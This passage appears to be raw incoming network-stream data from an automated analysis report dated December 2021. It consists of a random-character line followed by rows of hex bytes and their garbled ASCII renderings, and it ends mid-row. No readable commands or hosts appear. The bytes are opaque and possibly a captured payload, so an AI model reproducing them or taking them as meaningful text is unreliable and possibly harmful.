*`J#]FM~<qC'&4lF<+1Qyw^B'~mq/~#)H#i,.%$uZWzoex^q?L\|C8eXr<tq!0-f^t%F%z=#cLIDHHdL@-QS'LUfwXtbg~V.nF4&W0`Q}L9U
2021-12-28 17:13:33 UTC	783	IN	Data Raw: f3 8d 41 ea fe 57 25 f9 b5 0d 2f a9 29 34 db 96 21 a4 da 64 a0 ea 1e a6 8c 00 dc df 59 00 71 d1 fe 1f 0f 97 57 c7 b0 3a 7e 90 46 97 3f 67 54 39 6b bd 8a e7 e6 1c 07 41 bb 33 3d 6d fc d3 2c e0 8b b1 96 a2 c4 de b4 3a 92 5a e9 c2 ef 67 df cb 05 3f 36 11 9c 1e 33 27 73 6a be d8 af 67 d0 8b ca 44 4a 8b 02 33 72 27 61 18 2b e9 1f 8e 14 1f bc 4c 75 de 92 ec 75 1c 76 6c e1 39 29 fc 25 5c ec 40 56 77 f3 33 fc 4e 80 c2 29 39 0e 8e 50 b0 fe 70 8a 2d 43 63 e7 ca 8a 2a 40 c0 9b af 69 84 1a 1a 41 46 39 cc 9e 7d a6 2a fb 14 53 78 13 6c 54 0f 5c 3c 2c 11 d7 24 01 8d 7f 32 7e ca 6e 95 ba 83 d4 c5 72 9c cf 0f 0e 2a 7e 34 cc 7f 42 82 45 1b c4 61 66 eb de 61 98 0e 95 59 0c ee 54 8a c3 c4 a6 f6 d4 27 14 c6 2a 61 35 7a 8c d3 7d e5 70 cd d4 f0 ca bc 3f c3 d0 3a c8 2d 08 a3 a7 Data Ascii: AW%/)4!dYqW:~F?gT9kA3=m,:Zg?63'sjgDJ3r'a+Luuvl9)%\@Vw3N)9Pp-Cc@iAF9}SxlT\<,$2~nr~4BEafaYT'a5z}p?:-
2021-12-28 17:13:33 UTC	799	IN	Data Raw: ea 4e 78 f5 d2 76 3e 1b 34 72 f4 20 10 64 67 f9 09 3c 3d c6 48 59 d7 39 c2 30 4a 22 1a a8 16 10 5d b6 a9 b1 ac e2 7d b9 8f 6c c1 e9 2f b4 0c cc 83 24 23 d8 c0 94 3d f7 9c 88 45 7b 0f e8 1a b3 70 c0 83 8a f6 02 f9 28 d4 5e d3 52 20 be d5 c8 71 7f c4 27 15 7e 8e f2 c5 c4 44 1f d1 d0 c8 89 7b 7e 5b 72 1b f7 89 db 77 e3 ce 97 cf a5 d5 19 c1 5c 14 91 f0 d8 21 c8 9e b8 3b 62 8d b8 08 c9 d8 06 b8 53 d1 70 a7 25 9d 2c 4c 57 a0 89 f7 b6 63 5d 88 f7 84 d3 8d ae ed 55 ab 70 b7 5d f7 67 cd ee 12 96 d3 e2 6b 1c 3b e0 b1 f1 91 60 1c e1 ea 9a 7c c8 50 1f ca bb 1c f2 07 40 22 81 35 80 ea 7a 3e bc db 14 97 f9 d4 24 fd 25 fd c4 ba ec 55 2d ac a7 69 92 ad f7 f1 e8 ac 52 79 13 fb 7d bf da d9 92 a8 0a 02 32 ee eb ec 44 b3 ab 6b 95 e7 4d e0 f3 71 fe 36 af d7 c0 c8 85 50 34 54 Data Ascii: Nxv>4r dg<=HY90J"]}l/$#=E{p(^R q'~D{~[rw\!;bSp%,LWc]Up]gk;`\|P@"5z>$%U-iRy}2DkMq6P4T
2021-12-28 17:13:33 UTC	815	IN	Data Raw: 84 e7 41 b7 26 37 16 36 6d 72 72 68 f2 dd 97 2b e6 3b e9 4c 4a 24 63 bb 95 03 8d f1 42 c2 e8 16 31 00 3c 31 85 c1 54 f5 65 ee 66 65 23 e3 6a 8c 14 66 97 78 53 3f e1 df 12 ae 52 77 98 49 c6 39 7e da e4 d6 f9 76 02 0e ba 39 e9 0f 01 f8 44 79 57 b1 da 62 7e 87 5e 6b bf 53 20 71 e7 1d d2 ef 5c 9f a8 53 8a 03 4c e0 ea 62 d1 ba 84 7c 8e 7f 13 77 fb 17 80 dd cb a1 76 b5 f0 00 70 0f 52 39 0b 80 03 79 14 db 0f 00 1c cc ac 52 b6 66 90 57 52 64 7f d6 50 bb 55 ac db 8c b2 5c bd 67 36 c1 f3 11 59 61 0f 96 e6 c1 12 8e c9 83 be cc df b2 5c 69 f4 71 30 4b f2 74 50 a2 e4 2c c7 bc f6 a3 48 4b c1 40 9c 99 82 1e 9c c1 21 12 bb 92 a8 58 b7 4f 22 f9 d7 39 ac 23 85 d7 13 e5 4c 6a fb 78 44 8a 61 3c 02 c5 06 d0 cf 17 a0 3c 9c 34 de cf 6c ee 06 8e cb 7b 5e 57 f3 57 32 54 84 b2 cf Data Ascii: A&76mrrh+;LJ$cB1<1Tefe#jfxS?RwI9~v9DyWb~^kS q\SLb\|wvpR9yRfWRdPU\g6Ya\iq0KtP,HK@!XO"9#LjxDa<<4l{^WW2T
2021-12-28 17:13:33 UTC	831	IN	Data Raw: ac 4d d5 ea f9 fc 70 7a f0 07 5a e8 ca 07 49 04 c9 d2 e2 8c 7c b5 b6 15 72 09 81 29 33 6d 86 e9 98 01 44 d9 db 86 ca b1 39 7f b5 4d c9 93 bd 02 54 b0 6d bf de c8 0a 83 e8 eb 5b bd ca 13 fb 41 5a c3 d3 3b 9c 38 db a1 dc e8 62 b8 6c c8 a0 71 19 c9 43 7a 31 22 ca ac f1 a7 bb b5 1e 1e 44 26 74 48 d5 56 12 0c 6e 26 e0 62 96 55 b2 e2 11 6b 96 70 4e 15 4f a8 e3 df d0 c6 99 9c 88 84 e8 52 af d1 10 6b b8 17 a6 b2 9b df a6 09 34 1b 50 a8 be ce e8 7b 81 71 39 0c 5a 89 44 65 4e 32 94 ae 8d a3 b0 20 61 f6 28 3f 21 9c 7f 9c 8d 41 a0 d4 7b 4b 50 ea 25 f7 21 70 8d 01 58 ba 62 7d 50 22 98 e6 5f 93 73 a4 a2 97 8f 47 62 49 f0 a0 c1 95 83 b7 a6 60 f4 3e e3 b7 c3 cc cf a0 c1 97 74 f3 37 4a d5 0c 41 9f 88 0a 79 fe a7 b8 cf 2f 64 4c 8e 96 91 cd 52 04 83 6c e9 c9 98 b9 74 dd bd Data Ascii: MpzZI\|r)3mD9MTm[AZ;8blqCz1"D&tHVn&bUkpNORk4P{q9ZDeN2 a(?!A{KP%!pXb}P"_sGbI`>t7JAy/dLRlt
2021-12-28 17:13:33 UTC	847	IN	Data Raw: c6 10 1e be 8a 51 d5 c5 8a 83 20 42 d9 0f f0 05 d0 59 b7 d0 0c 32 af ec a0 16 d4 8e a6 c5 c7 f3 70 1d ca eb 6b f0 6c f5 c2 2e 42 ef c8 a6 d6 10 63 78 9e 35 64 21 40 4c 3a 56 72 5b b6 7d 6f 65 ac a9 43 b9 30 dc f1 43 b5 c7 b6 2f e1 77 91 17 7c e6 e8 68 4f b9 f6 fe 27 31 54 c4 2a 55 0f 8d 13 5b ff 97 da 49 8c fb e4 8c 23 46 e4 44 85 ea 9f 9c 9e dc 65 8c b5 e8 65 1c f4 00 32 63 dc 13 00 07 71 4b fb 33 2f 8e 74 0b 2d 1f 04 d1 8a f7 99 8b ce cf e8 f0 09 61 94 fb b9 22 77 a3 d8 fd 58 e5 2b a2 c8 01 72 72 82 03 23 22 14 89 fd 46 9c 53 2f e8 55 bb 4c 64 39 cf fa 37 ce cc fa 86 06 6c 46 67 a4 e8 75 fe f9 37 d7 e1 1d 73 7c fc 8a be 18 88 83 27 ab 3e 14 33 2a a5 7a 81 1b 36 20 73 de ed c4 0b d8 62 cc 73 85 86 9c d5 11 8b a2 a6 9c c1 06 1a 2d 84 14 fe fd 33 48 6b 3a Data Ascii: Q BY2pkl.Bcx5d!@L:Vr[}oeC0C/w\|hO'1TU[I#FDee2cqK3/t-a"wX+rr#"FS/ULd97lFgu7s\|'>3z6 sbs-3Hk:
2021-12-28 17:13:33 UTC	863	IN	Data Raw: c1 24 83 c9 b6 67 df 21 48 65 25 97 6b 89 8d 26 aa 61 43 41 8d 19 fe 6b 6c 84 d5 10 6c 76 7a 98 f9 09 53 ba f8 a4 5f 0d 22 17 ca 63 3a cd 0d f5 d0 d8 92 fd 7a bd 70 f8 77 0d 7b af e3 48 55 b2 11 1c b5 36 e5 f0 c5 5e c0 59 4a 1d 63 d0 c0 34 cc bd 19 fe a9 ab 48 f0 8a 0f 2b 8c 4d 50 37 72 00 41 99 0f 8c b4 7d f6 ba cc 36 b0 86 19 fb 42 cb 3c 48 ec a0 48 bb 53 b8 0a fd b5 34 3a 4b cf 53 85 44 8c 89 c0 74 0a 11 59 f8 ba 67 27 cb cf 2d d0 c9 ab a4 98 b4 c8 8a 9a 7d 15 d9 46 1b dd c2 32 35 f4 fb fa bd 43 32 e9 6e d8 a6 b2 33 09 5a 26 c0 5b 1b b3 df f3 f3 f6 4c 77 4e e4 1f 1c c1 3e 62 e2 ff 32 e0 99 de 7a d9 74 4c 04 37 e2 1a c2 8c c8 a5 34 1a 05 8d 74 e0 bb d9 3e 8d 37 3a 9d b4 e9 90 10 1b a8 26 88 9b 80 6d 67 2e 36 85 37 2e cb 9f 09 5e a1 b2 ac 08 48 fe f0 54 Data Ascii: $g!He%k&aCAkllvzS_"c:zpw{HU6^YJc4H+MP7rA}6B<HHS4:KSDtYg'-}F25C2n3Z&[LwN>b2ztL74t>7:&mg.67.^HT
2021-12-28 17:13:33 UTC	879	IN	Data Raw: 1b c5 95 41 b5 6e c2 1b 53 12 94 92 e9 81 69 7c 2a 99 e8 ed 02 9c 64 a1 9e 70 04 81 a6 25 84 a5 66 77 f8 0a 3f b9 db ab 54 82 a0 77 02 27 52 c7 25 1e a0 2f a4 45 09 44 25 39 21 6b 92 af 77 17 fe e1 e7 6f b2 9a b3 d4 fa d9 fc d8 54 17 49 c9 9b b5 ee 33 51 7f 46 f7 74 b9 17 7f 81 2a 33 52 c9 1b de 9a d5 7e b4 94 c8 08 2e 7c 47 50 82 7f 81 e1 e6 0d 22 ae a8 18 82 61 f0 26 12 6a 77 02 dc a3 b1 b2 ce 8e 8b 4b dc 16 68 12 2a ae 02 b2 8a dc 96 8f 42 b1 cf 8a 6f 4e 46 7f e0 76 c6 ff dd ec 2f 91 62 d4 e3 63 28 8d 14 c9 b5 ce 02 62 bf fc 39 37 31 c1 ee 8b 4e 19 a7 a6 88 90 38 c8 f1 3b c1 b6 06 ec 0f ff a9 35 eb c7 d7 c7 65 91 f6 97 d9 08 e4 0f b3 9d 15 5a 28 54 6a 90 d5 ab f9 df e4 3a 55 c1 55 7b ef e0 9a 58 77 f6 3e 5f 8f eb bb fc fb c3 3b b2 94 15 6d 05 af a9 f3 Data Ascii: AnSi\|dp%fw?Tw'R%/ED%9!kwoTI3QFt3R~.\|GP"a&jwKh*BoNFv/bc(b971N8;5eZ(Tj:UU{Xw>_;m
2021-12-28 17:13:33 UTC	895	IN	Data Raw: 41 0e e8 2d 56 03 61 86 24 c8 61 0c 6f d6 d7 ab e7 95 4d 40 52 fc 0c ec 59 10 fc 5d dc 4b 1f b0 1f 72 50 7d 35 79 a5 92 9d 41 4c cc 95 a1 dc 8c f7 3b 2a 39 71 1a 65 29 e3 52 2a be 2a 07 e3 1f 02 bb 42 03 5e 57 91 86 f3 e8 ee e8 18 df a7 93 6e 0f ce 20 44 15 ab 7b 6e 21 0d ad 86 be 37 44 18 4a b7 ba cd da 0f ff 4f 60 4d 01 a1 3a 54 f7 f3 c8 7e f5 4b f1 53 9a 43 e7 fb c0 7a 34 e1 09 87 9f 7a 9c a7 cc 02 0a 06 54 b5 f7 87 e0 83 84 2f 7e 61 25 5f 03 58 b4 7f 2b b1 ab 1d 5f cc 79 a2 49 2e c3 9f 51 ea c1 ad 29 81 40 32 c6 2a be d6 28 80 67 69 c1 db c9 16 68 95 98 98 8e 84 97 1b 28 ae f1 95 91 b3 ab 70 98 96 dc 0c fc 60 23 49 40 4b 65 0b eb f2 65 54 e4 46 00 02 aa 5e 74 9c 30 fb ce f4 b4 e2 75 ad f9 49 e3 e4 de 43 74 b9 cd 32 c6 09 2d 59 fb 1a 17 d1 57 77 da 7b Data Ascii: A-Va$aoM@RY]KrP}5yAL;9qe)RB^Wn D{n!7DJO`M:T~KSCz4zT/~a%_X+_yI.Q)@2(gih(p`#I@KeeTF^t0uICt2-YWw{
2021-12-28 17:13:33 UTC	911	IN	Data Raw: ab 16 0f 23 76 ce b3 5f 3a dd bb 60 01 dc 5e 26 24 ec 52 f4 4f bd 03 d4 95 ad cb f9 9c 40 0a d5 3a 12 ae 4d a3 0d 66 c2 7c 5c e7 74 66 e3 16 7d e8 0c 83 f3 92 0b 88 23 fc c5 62 bb 0a 23 78 e0 9d 50 e5 48 5d 84 74 8e 03 78 b0 73 08 24 4a b9 5d 55 e4 3f 65 e9 ed e8 9b 2a 36 ed 30 4d aa c1 29 66 08 45 49 8f 3d c7 e4 28 fc 14 79 c8 88 c8 70 01 84 b0 3e a2 d8 c5 dd 71 35 a4 85 d4 9f 0f 9c 63 6f 2b 64 23 3f 63 07 02 69 1d 7f 52 29 26 05 cf b9 f3 c3 0e 19 cc 58 8c c9 5c db e5 9b 2a 98 d7 3f e9 55 04 0c a3 ce 3e b0 f1 a5 67 59 24 c6 ec ae c8 82 36 f2 c3 fa 02 62 21 5b 9a 02 d9 5e 67 fc b4 f4 5e fc ae 3d 7d 33 f3 14 36 8c 53 ab f4 c2 23 a5 ec 54 5e 3c 7c f6 f3 f1 a5 3b 62 7c 97 79 b5 5b 0d cb 21 af 92 a1 75 bf 90 ac ca 5b 80 46 73 2a a2 b3 8e d4 34 48 b6 8d 53 f9 Data Ascii: #v_:`^&$RO@:Mf\|\tf}#b#xPH]txs$J]U?e60M)fEI=(yp>q5co+d#?ciR)&X\?U>gY$6b![^g^=}36S#T^<\|;b\|y[!u[Fs*4HS
2021-12-28 17:13:33 UTC	927	IN	Data Raw: 4a 41 22 1c 12 2a 93 ed ff e5 3a 01 0b f4 73 a3 67 b3 2c 6e 4b 02 78 74 02 42 b6 9f 5f 6b 43 aa 3a ac 21 09 13 4b c5 e3 e9 2f b3 6d b7 ea 73 b6 bf c3 bd 49 b3 6a 02 03 35 cc 74 9b 2c 3f 1f 8a d9 1e be 43 32 6b 5b 65 ce f6 4b 67 4b 3e 57 d2 26 ff 7b fd 66 3f 6f 54 a4 69 2b 62 e8 1e ba 20 8a 64 46 78 88 ab 3e 07 53 00 b2 ba e9 01 d6 33 53 b2 a4 5a d4 30 05 7b a9 e2 e1 c4 0b 20 25 a9 2c 46 51 b1 df c8 24 b1 66 4e 9b 25 2c 4e f9 91 a7 5e f1 80 29 79 40 fd 82 c6 5e 4d 6e 93 51 bb 5a 70 1e 7e 09 fb 73 e7 3f d1 6a 5c 75 22 94 a7 66 90 7a 46 0f 9f 87 d6 3e 71 84 ad e3 af bb a0 1e 8c d2 04 d7 8c e6 18 83 4b e8 70 b6 20 11 f3 97 fe ae 9a e8 03 45 1e 0f c9 3e 68 09 af 38 fa 3c 7f 62 64 6e 79 b1 3f 13 cb 47 e1 ad 31 f5 92 21 cf 95 20 53 f6 d2 67 dc 3e 71 e5 9e 20 3a Data Ascii: JA"*:sg,nKxtB_kC:!K/msIj5t,?C2k[eKgK>W&{f?oTi+b dFx>S3SZ0{ %,FQ$fN%,N^)y@^MnQZp~s?j\u"fzF>qKp E>h8<bdny?G1! Sg>q :
2021-12-28 17:13:33 UTC	943	IN	Data Raw: 8a e9 d8 d1 0b a9 d2 23 dc 67 13 23 23 a7 fd 7c 00 db 05 74 06 94 dd 71 e0 81 0a 03 aa be 1c ff 7d 19 5c ba b2 df d3 af c4 6c 2c 71 cf a7 ba c2 f6 d7 73 bf fe c1 0b f6 7a 72 6d 8f fa 5c 46 ec db cb f7 f8 4b 59 2b 72 5f c7 3a 65 ab 98 a1 09 15 01 43 3b 15 d1 78 9c 41 75 aa a4 9b e0 87 8a fc 26 16 af d3 6a c2 74 b8 f4 d6 7e b9 df ed 1b 48 c7 b9 37 e3 61 ba 42 dc 3d f4 d2 81 7d 25 ef 5e b4 95 37 21 09 c3 a2 0f 12 ae 63 cf be da 3a 95 e3 2b 85 69 ac 3a b4 e0 6a 75 7c ad 59 16 8e 39 5a 3a 28 0c a4 15 03 85 a4 d1 71 3e 64 54 81 90 93 00 a0 7e 7e 52 b4 5b 9c 39 1b 59 7a 01 ff 70 59 5d 76 67 3d 58 fc 48 02 d8 73 02 13 55 37 58 dd 1e bf 0b ca 44 9d e2 8f 96 c0 0b 7b a7 2f e9 c6 6a e2 d5 8b 2c 50 d8 de 6b ff ae 38 5c 73 fe fa 72 86 c7 53 65 ae a9 36 dd a4 3c 2d 30 Data Ascii: #g##\|tq}\l,qszrm\FKY+r_:eC;xAu&jt~H7aB=}%^7!c:+i:ju\|Y9Z:(q>dT~~R[9YzpY]vg=XHsU7XD{/j,Pk8\srSe6<-0
2021-12-28 17:13:33 UTC	959	IN	Data Raw: 8c 1f d2 84 56 8f 87 8c 83 ab f4 e9 26 ce 22 ff f4 b6 04 34 5b 6e 86 29 24 68 a1 02 fe 02 bc 76 c1 f7 13 40 c6 e5 52 ef b3 62 39 a0 25 ab c0 8e b8 e7 e0 fb e8 47 43 2a 94 61 b5 d9 60 30 a0 7e 98 24 93 f2 bd ee 66 2f 4b 5d 4c 79 4c 39 71 5b c9 80 0c dc fc 51 29 1a d5 79 e3 b2 0e 6b 43 11 ba ee a2 32 9a d4 35 95 23 a1 99 e1 2a f3 ff 8d 01 02 f4 ad 84 f4 35 cb c9 b1 fa cc 94 0c 09 d0 61 6d 36 2a 03 7b 5a f3 b3 b8 ed 01 37 a0 73 15 80 b3 d2 a0 8d 26 c4 dd 99 1a d8 13 53 bb d6 9c 59 a6 57 ce 25 48 4c 94 40 76 50 50 3f b2 f8 aa 88 c4 d4 b5 32 9d 17 3f 6a 17 2e e0 0b b3 3c bf 18 de 71 40 72 cc e0 94 b3 20 42 ee f8 5f 7d a0 bd 87 dc 6e ee bd cd f7 b6 3e 8d e6 dc b8 0e a7 0f f7 13 35 17 51 4d b3 eb d9 cd 93 54 bd b4 5e d5 e0 15 2c cc b4 90 e4 77 d0 e1 40 65 4f de Data Ascii: V&"4[n)$hv@Rb9%GCa`0~$f/K]LyL9q[Q)ykC25#5am6*{Z7s&SYW%HL@vPP?2?j.<q@r B_}n>5QMT^,w@eO
2021-12-28 17:13:33 UTC	975	IN	Data Raw: 49 84 cc e2 e9 c6 07 a8 18 cb d0 dd 24 72 31 ff a9 b5 df 7a a8 c0 48 b2 a1 a0 12 93 84 7b 5d 3b e7 78 15 94 62 58 80 02 76 d4 ac 43 28 11 69 f2 78 9b 20 94 47 f1 c8 f5 90 37 51 f7 9f 16 c3 1d 9e e7 da b5 9f 23 6d 66 bc 3c 89 a6 0b af 0d 87 97 15 0e 78 90 94 5d b5 6b a6 bb 57 f8 ea 35 9b 82 00 6d 8d 8a cb 5c 12 4e 9c bd 25 83 0d d7 44 ea 2f 2b 15 d3 95 f8 25 1f fb be e1 f5 b9 f2 f6 ed 39 1e ea b1 61 5f 4b 68 ca 4a 06 e4 be 0c 96 d2 41 eb 46 a7 79 60 79 b0 b2 c6 c7 45 bc 1f b8 bb 5a 2e 10 f8 60 4a b3 38 ee 3b 97 bf 48 91 4d b3 ae 99 26 48 45 d3 22 43 77 30 98 e2 4b 51 9d 35 cb 25 58 b1 4a e3 68 f6 e2 7a 2a 81 ee 80 c3 5c d6 7c 02 60 18 f7 2b 23 21 65 89 f3 3c 17 6c 72 f8 ba cb 5a e0 b2 9f 0a 59 f9 fd 46 0b 17 1b 3d f6 41 8b ea b7 81 60 88 75 02 6d 91 24 fc Data Ascii: I$r1zH{];xbXvC(ix G7Q#mf<x]kW5m\N%D/+%9a_KhJAFy`yEZ.`J8;HM&HE"Cw0KQ5%XJhz*\\|`+#!e<lrZYF=A`um$
2021-12-28 17:13:33 UTC	991	IN	Data Raw: 9f 11 19 fa 12 5a 06 e6 c6 d1 de ef dd 6b f0 28 8a e2 6b 42 e4 b5 b5 75 a1 69 34 1b 8a 07 0b 8c 14 ff 15 dd b0 65 00 82 51 71 8e 3a d5 50 0d 36 83 45 8b 2f e8 97 19 dc 65 1f 53 10 16 29 a3 f2 a5 89 60 36 44 41 d4 97 ba 57 72 41 fb 05 ab 48 9c a3 0a 5f c8 28 ac 35 ad 82 e7 d3 a6 ee 1b 3a 9e 87 eb 69 12 88 a7 c8 8c c4 a3 48 24 f6 fa b7 01 55 c7 3c e6 f3 d9 10 23 e1 70 f6 be aa 86 ac be 00 5d b5 a9 55 b3 19 9c 97 51 31 3d fe b9 48 3c 9c 48 73 43 63 8a 66 d2 4c 89 f3 c1 53 ce 81 7c 76 31 c4 f6 1a f0 d5 b4 70 69 99 36 b9 d1 96 f5 37 d7 58 57 e8 d0 d6 f5 d9 1f e8 82 38 83 87 8f de 21 e0 56 74 32 48 a3 0c 70 11 f5 f1 c6 c1 23 77 a8 a6 eb 3f 49 93 08 89 4e 53 6a 3a d2 e3 f9 10 51 a1 42 89 fe ba d4 36 a3 a2 7a 1c 87 b7 35 62 eb 31 88 9b 96 f3 45 a9 a2 6a fd 65 de Data Ascii: Zk(kBui4eQq:P6E/eS)`6DAWrAH_(5:iH$U<#p]UQ1=H<HsCcfLS\|v1pi67XW8!Vt2Hp#w?INSj:QB6z5b1Eje
2021-12-28 17:13:33 UTC	999	IN	Data Raw: 63 f8 6c f9 96 9e 6f 11 ce 60 85 8f f4 91 21 39 1c 12 7b 86 51 33 aa a4 eb d5 09 87 9d 27 50 c6 2f 50 3e 16 f4 da 9d 57 0f 33 42 e9 1e 1e 98 2c 34 e4 e1 e9 46 90 75 25 47 7a bf 55 f0 70 eb 18 4f 5c af 21 81 9e ef 21 2d 9c 79 60 c2 c1 71 16 e1 c6 f6 4b f5 10 5e 57 d5 c9 49 c7 a5 3d 1f ae 0f 0d b2 20 9a 12 67 da ef ad d6 b8 37 9c 28 ce d1 56 e9 2a 28 c9 1e f6 1d 65 cf 14 b6 b6 28 81 cc 10 46 d6 3b 77 db f5 f4 a4 cc e8 18 15 0d 50 38 31 dc e7 f1 16 8f ed e8 6d bb df 73 71 78 e8 81 06 42 0b 2c 80 73 87 8e d1 21 46 e4 bc eb a7 05 bf a3 f3 05 e4 e7 f2 9b 83 36 b5 66 52 c0 92 32 32 d3 5e d4 5f 95 4a 37 f5 7b a0 be 4e f8 21 7c f8 17 bf a4 aa 0e 70 53 5c dc 84 b2 fe 8d 11 6b f7 2c 6c 36 0b 3e d3 19 5f 53 af 6e e1 89 c9 48 c8 5e 70 cf b6 fc df b8 48 ea d5 1f 7b 09 Data Ascii: clo`!9{Q3'P/P>W3B,4Fu%GzUpO\!!-y`qK^WI= g7(V*(e(F;wP81msqxB,s!F6fR22^_J7{N!\|pS\k,l6>_SnH^pH{
2021-12-28 17:13:33 UTC	1015	IN	Data Raw: 80 74 86 01 d9 c3 bb c6 46 92 b7 c0 5f 85 67 00 55 6e b4 45 48 bc c3 a5 3f 0d 6e c4 5a a2 cf c2 e3 ac 04 58 c0 a4 b5 3e c8 b6 70 4c ec 28 f5 83 4b dc 1b ad 5a 73 38 41 bb a2 a4 07 f6 f5 4e 7b ba 3e 24 b0 f9 f1 82 78 17 83 e4 56 66 b9 e2 4a 55 31 03 88 ef 92 6e 9a cd d6 78 34 4d 46 ed 7f 79 d9 02 42 b4 c4 08 bd 8d 08 ed 67 d1 fe 17 e5 26 95 b7 4e f6 47 cb e9 4d 89 73 1d e1 5a b9 9b d9 0c 27 bd c5 23 69 46 21 68 c3 2e 4a c6 c8 0e bb 55 3e e6 72 0d 31 7d 93 5a 4c 7a 36 35 37 27 3c 3d 8f e6 8d f1 12 9a c2 bb 31 cb 99 ee 93 83 00 87 9c ed c2 1c 72 cd 72 f9 9c 9f f1 6c b4 46 2d ab f6 c9 71 7d 06 db fa ee 80 3e ae 6e d9 2e 37 d8 9a 64 99 70 ee 77 43 43 4a f0 d6 c0 98 a5 4d 34 67 14 2a 2e b5 3b 4a 94 a7 a9 42 64 47 01 92 e3 db d0 2c 0b 92 67 c8 fb 7c 6f d7 6e 92 Data Ascii: tF_gUnEH?nZX>pL(KZs8AN{>$xVfJU1nx4MFyBg&NGMsZ'#iF!h.JU>r1}ZLz657'<=1rrlF-q}>n.7dpwCCJM4g*.;JBdG,g\|on
2021-12-28 17:13:33 UTC	1031	IN	Data Raw: b8 0c 01 90 ed 6c 2b 9e a6 f0 9c 06 d2 0e 76 c6 c3 98 50 31 21 65 1d 84 31 59 0f 4b d6 dc e1 75 f8 db a1 cc e3 56 71 81 4d 38 38 a5 c4 d9 56 7b 77 a4 c2 f1 b8 20 c9 8e bc 5b d9 05 76 e9 88 73 79 e6 56 5b 27 77 09 c2 b0 67 67 36 d7 fe fb 66 49 b6 80 eb 3f 70 ed db 78 fc 0d 9c 82 af 7d 2a af d1 6e 35 4b 6b 3d 7e cd 67 07 3b 9a 7e 63 bc a6 62 12 62 53 d7 d0 a9 b8 68 4c c8 3c 1e f3 09 ae 43 06 af 2a c1 de 72 b0 67 9e 3d 92 39 84 2d ba 39 df 85 84 6a e9 80 1d 6b 5f 00 f1 12 61 f3 59 40 1b b0 1f d3 57 5d 9b 3a f2 34 bc fd 48 7f 7b c0 3a 97 ad 6a 8a 66 89 35 aa 14 0f d4 68 90 d5 fe 43 b4 70 7b 07 37 e5 f4 22 b6 5e 2f 30 68 65 fe d0 f7 44 1c e4 e7 44 80 eb d3 bb 2b de f1 56 2d 72 27 91 21 ae f8 d3 4a de 49 20 e6 0b fb 1a a3 ef 0d 31 77 91 26 d8 63 23 80 b3 20 09 Data Ascii: l+vP1!e1YKuVqM88V{w [vsyV['wgg6fI?px}n5Kk=~g;~cbbShL<Crg=9-9jk_aY@W]:4H{:jf5hCp{7"^/0heDD+V-r'!JI 1w&c#
2021-12-28 17:13:33 UTC	1047	IN	Data Raw: 20 8b ad 42 0a 44 ae 14 fe d7 aa 1b c7 97 50 8a 74 bb 67 b5 ac 1b 3c 96 58 f9 fc 7e f1 63 57 34 50 da 9e d0 af 53 67 ab 65 67 d4 1a a2 e4 22 72 8c 7d 1b cf 9b 42 98 f5 f6 20 ad a5 ac ab 36 13 48 25 24 c0 89 6e e3 b6 e0 9b 88 67 6d 25 e1 19 3b a7 3a 65 8b bf 45 69 52 57 c6 77 1e e6 a2 da 5f ac e6 63 e2 c7 8b c0 db 5c 03 d4 2a 6a d4 40 6e d9 70 01 4a 16 49 49 da 23 05 da ff 30 d1 60 26 65 18 7a f6 e1 39 27 d4 e3 df b3 b2 26 bb 73 b7 33 f9 29 4b 27 a1 b7 6e 00 2d 66 af 27 3f 9c 6f 67 52 6f 33 87 9a c4 1a 28 db 23 94 d7 c2 55 4a b9 cc b6 ee f7 c8 d1 c6 76 7d 2e 04 1f 91 48 cd b8 85 36 14 18 fc ce d3 05 1c 5c 9b 75 9d a2 aa 66 61 df 84 33 85 85 f7 92 17 bd c3 c1 e5 0c 99 55 0e dc 21 a3 7c 5e 72 db ee 13 1e d0 b4 4c 60 31 62 b8 1a a4 25 a4 99 e2 73 1c 4e 2b 57 Data Ascii: BDPtg<X~cW4PSgeg"r}B 6H%$ngm%;:eEiRWw_c\*j@npJII#0`&ez9'&s3)K'n-f'?ogRo3(#UJv}.H6\ufa3U!\|^rL`1b%sN+W
2021-12-28 17:13:33 UTC	1063	IN	Data Raw: d4 7b dd fc 85 f3 93 59 52 2c 12 cb 97 b0 bf ea 1c 1e 82 77 48 e9 30 93 fa 8b 05 67 bc c9 0a 68 b9 b7 fc 6c 8d c6 f8 d8 d0 06 e8 ef 46 70 b9 96 7d bd 68 8c 4a 68 d2 b0 b3 e9 93 28 0f 35 2e fc f0 9d d8 9e ae cb 0a 7d 12 b0 80 a3 5e 31 83 97 33 d8 8d 71 15 65 94 b5 48 2e ca 71 43 f9 fe 9e 15 88 87 fc 1a b3 29 64 72 53 3f b8 57 c4 86 86 2e 19 ee 21 60 f3 ab b4 99 65 03 aa fd 4f dc 82 e6 93 20 1e 01 d9 a1 d0 db 9a c0 be 9e ff 35 78 a7 c7 a4 b1 16 f3 90 d3 67 7a 8d 93 25 71 2e e8 f2 11 96 45 b4 72 4b c8 fa 75 f0 58 be df 6e fb 53 98 68 11 64 1c 61 9c 8e 4c 4a 79 56 75 8a 3f ab 7c a1 4c a0 6b f6 33 d2 fc f8 d2 2c 35 e7 91 46 49 cd 3f 21 ac af 7a a8 63 c6 5b d8 6e f9 8a fd cc bc 87 34 76 9b 23 9d e7 34 75 50 7d 13 d6 7d df d3 0b 30 e7 c0 11 b0 b0 0e 03 c8 e1 63 Data Ascii: {YR,wH0ghlFp}hJh(5.}^13qeH.qC)drS?W.!`eO 5xgz%q.ErKuXnShdaLJyVu?\|Lk3,5FI?!zc[n4v#4uP}}0c
2021-12-28 17:13:33 UTC	1079	IN	Data Raw: 7c 35 86 b0 89 6f 3b 51 65 ef 9a 3e c8 db 24 e2 b8 56 48 ce 24 93 98 29 0e 5b eb 50 cd 18 19 4d cf f7 e3 bc 78 ac c0 e8 71 07 21 e6 3d 7e 64 59 9a ef c7 db ca f2 bb e2 c1 54 62 e1 50 3b 28 16 f7 21 eb 9b ab 21 54 f8 3c fe 04 d0 27 82 18 fb 81 37 45 e0 ee 2d 43 f9 5e cd 4c 5f 0c e6 07 f7 bc 5b 6a 95 ab bb 6d 9a 3c f8 81 8a d5 4e 87 01 4c 22 d5 9b 7d de b8 d0 cb 66 66 d1 f2 57 d6 b6 15 ae 3e 6e 68 f1 f8 aa 20 83 a2 6b 6d 5d a6 3e 1c 2a ee 85 ea f1 4b 5d c9 a5 37 b6 95 a8 db b3 0e c3 aa 17 36 66 9e fe ea 54 95 ff 02 34 47 41 04 c2 78 08 0b 66 5a 3c 87 83 fc 31 d9 a1 d6 83 90 61 d9 c1 bf b2 c5 b7 df ca da 2e ff 9c 8c eb 7b 1f 44 e4 fd 97 c9 34 c3 